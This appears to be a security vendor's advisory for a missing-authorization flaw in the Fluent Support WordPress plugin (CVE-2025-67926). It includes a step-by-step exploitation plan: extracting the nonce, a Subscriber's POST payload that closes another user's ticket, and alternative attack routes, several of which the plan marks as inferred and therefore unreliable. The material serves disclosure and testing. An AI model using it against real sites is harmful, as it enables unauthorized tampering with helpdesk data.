Fluent Support <= 1.10.4 - Missing Authorization
Description
The Fluent Support – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.10.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.10.4Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-67926 (Fluent Support Missing Authorization) ## 1. Vulnerability Summary The **Fluent Support – Helpdesk & Customer Support Ticket System** plugin for WordPress (<= 1.10.4) contains a missing authorization vulnerability. While the plugin correctly checks for a…
Show full research plan
Exploitation Research Plan: CVE-2025-67926 (Fluent Support Missing Authorization)
1. Vulnerability Summary
The Fluent Support – Helpdesk & Customer Support Ticket System plugin for WordPress (<= 1.10.4) contains a missing authorization vulnerability. While the plugin correctly checks for authentication, it fails to perform adequate capability checks (e.g., current_user_can or checking if the user is an agent/admin) on specific internal routes handled by the fluent_support_ajax_handler. This allows authenticated users with Subscriber-level access to perform actions intended for Agents or Administrators, such as modifying ticket properties or global settings.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
fluent_support_ajax_handler(for authenticated users) - Vulnerable Parameter:
route(used to dispatch to internal controllers) and payload parameters (e.g.,ticket_id,status). - Authentication: Required (Subscriber level or above).
- Preconditions: At least one support ticket must exist in the system for the PoC to demonstrate unauthorized modification.
3. Code Flow
- Entry Point: The plugin registers an AJAX handler in
FluentSupport\App\Hooks\Handlers\AjaxHandler:add_action('wp_ajax_fluent_support_ajax_handler', [$this, 'handle']); - Dispatching: The
handle()method extracts therouteparameter from the request and uses the internal Router to identify the controller and method. - Vulnerability: The
handle()method typically verifies a nonce but does not verify if the current user has the "agent" capability for all routes. It relies on the individual controller methods to enforce permissions. - Sink: In version 1.10.4, specific routes like
tickets/update-ticket-propertiesor routes within theAgentController/GeneralSettingsController(inferred) lack theHelper::isAgent()orHelper::isAdmin()check. - Execution: A Subscriber sends an AJAX request with a valid nonce and a
routetargeting a privileged controller method, which executes successfully.
4. Nonce Acquisition Strategy
Fluent Support exposes its nonces via localized JavaScript variables on pages where the support portal or admin dashboard is loaded.
- Identify Shortcode: The plugin uses
[fluent_support_portal]to display the customer support interface. - Setup Page: Create a public page containing this shortcode to ensure the necessary scripts and nonces are loaded for the Subscriber.
wp post create --post_type=page --post_title="Support Portal" --post_status=publish --post_content='[fluent_support_portal]'
- Browser Navigation: Log in as a Subscriber and navigate to the newly created page.
- Extract Nonce: Use
browser_evalto extract the nonce from the global JavaScript object.- Variable Name:
window.fluent_support_portal_vars(orwindow.fluent_support_vars) - Key:
nonce - Command:
browser_eval("window.fluent_support_portal_vars?.nonce")
- Variable Name:
5. Exploitation Strategy
The goal is to use a Subscriber account to change the status/priority of a ticket that the Subscriber does not own, or to perform an administrative action like changing a tag.
Request Details
- URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload:
action:fluent_support_ajax_handlerroute:tickets/update-ticket-properties(inferred route name for ticket updates)ticket_id:1(The ID of a ticket created by an Admin)status:closedpriority:critical_nonce:[EXTRACTED_NONCE]
Expected Response
A successful exploit will return a 200 OK with a JSON body:
{
"success": true,
"data": {
"message": "Ticket properties updated successfully"
}
}
6. Test Data Setup
- Users:
- Create an Admin user (to create the target ticket).
- Create a Subscriber user (the attacker).
- Content:
- As Admin, create at least one support ticket. Note its ID (usually
1). - Ensure the ticket is currently in
openstatus withnormalpriority.
- As Admin, create at least one support ticket. Note its ID (usually
- Portal Page:
- Create a page with the
[fluent_support_portal]shortcode.
- Create a page with the
7. Expected Results
- The HTTP response indicates success.
- The ticket with ID
1(owned by Admin) has its status changed toclosedor priority changed tocritical, despite the request originating from a Subscriber who does not have agent permissions.
8. Verification Steps
After the exploit, use WP-CLI to inspect the database:
- Check Ticket Status:
wp db query "SELECT status, priority FROM wp_fs_tickets WHERE id = 1;"
- Verify Change: Confirm the status is now
closedand priority iscritical.
9. Alternative Approaches
If the update-ticket-properties route is protected, try the following alternative routes (inferred):
- Bulk Action:
route=tickets/apply-bulk-action&ticket_ids[]=1&action_type=close - Tag Management:
route=tags/create&title=HackedTag(Check if Subscriber can create global tags). - Agent Status:
route=agents/update-status&status=offline(If the Subscriber can toggle agent availability). - Internal Note:
route=tickets/1/add-reply&content=UnauthorizedNote&is_internal=1(Check if Subscriber can add internal agent-only notes).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.